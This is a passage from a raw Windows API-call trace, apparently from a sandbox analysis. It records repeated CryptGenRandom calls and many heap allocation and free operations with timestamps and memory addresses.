(in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.279] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.331] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.332] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.332] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.332] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.332] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.332] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.333] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.333] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.333] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.333] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.334] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.334] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.334] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.335] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.335] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.335] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.335] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.335] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.335] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.336] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.336] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.336] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.337] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.337] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.337] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.338] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.338] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.338] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.338] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.338] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.339] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.339] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.339] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.339] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.340] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.340] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.340] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.341] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.341] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.341] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.341] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.341] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.342] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.342] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.342] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.342] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.343] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.343] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.393] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.394] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.394] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.394] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.395] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.395] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.395] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.395] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.395] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.396] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.396] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.396] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.396] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.397] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.397] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.397] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.398] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.398] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.398] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.398] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.398] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.398] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.399] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.399] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.399] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.400] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.400] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.400] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.400] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.401] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.401] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.401] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.401] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.401] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.402] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.402] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.402] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x511058 [0030.402] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5110e0 [0030.402] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x511168 [0030.402] CryptAcquireContextW (in: phProv=0x44d70c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d70c*=0x5111f0) returned 1 [0030.403] CryptGenRandom (in: hProv=0x5111f0, dwLen=0x80, pbBuffer=0x44d720 | out: pbBuffer=0x44d720) returned 1 [0030.403] CryptReleaseContext (hProv=0x5111f0, dwFlags=0x0) returned 1 [0030.403] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5145a8 [0030.403] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511168 | out: hHeap=0x4f0000) returned 1 [0030.403] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514518 [0030.403] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x108) returned 0x511780 [0030.403] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x4) returned 0x510380 [0030.403] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0030.403] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.403] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511898 [0030.403] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x511168 [0030.403] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x10c) returned 0x5111f0 [0030.403] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.403] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x4ff028 [0030.403] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514e18 [0030.403] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511168 | out: hHeap=0x4f0000) returned 1 [0030.403] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511550 [0030.403] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514e18 | out: hHeap=0x4f0000) returned 1 [0030.403] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510218 [0030.403] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x4ff040 [0030.403] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.403] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510218 | out: hHeap=0x4f0000) returned 1 [0030.403] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x88) returned 0x514e18 [0030.403] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff040 | out: hHeap=0x4f0000) returned 1 [0030.403] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0030.403] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514e18 | out: hHeap=0x4f0000) returned 1 [0030.403] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.404] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.404] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.404] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.404] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.404] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.404] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.404] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.404] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.404] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.404] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.404] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.404] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.404] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.404] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.404] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.404] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.404] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.404] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.404] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.404] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.404] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.404] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.406] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.406] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.406] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.406] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.406] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.406] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.406] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.406] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.406] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.406] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.406] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.406] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.406] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.406] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.406] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.406] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.406] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.406] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.406] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.406] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511898 | out: hHeap=0x4f0000) returned 1 [0030.406] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511550 | out: hHeap=0x4f0000) returned 1 [0030.406] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5111f0 | out: hHeap=0x4f0000) returned 1 [0030.406] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0030.406] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff028 | out: hHeap=0x4f0000) returned 1 [0030.406] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514e18 [0030.406] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514d88 [0030.406] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514cf8 [0030.406] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514c68 [0030.406] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514bd8 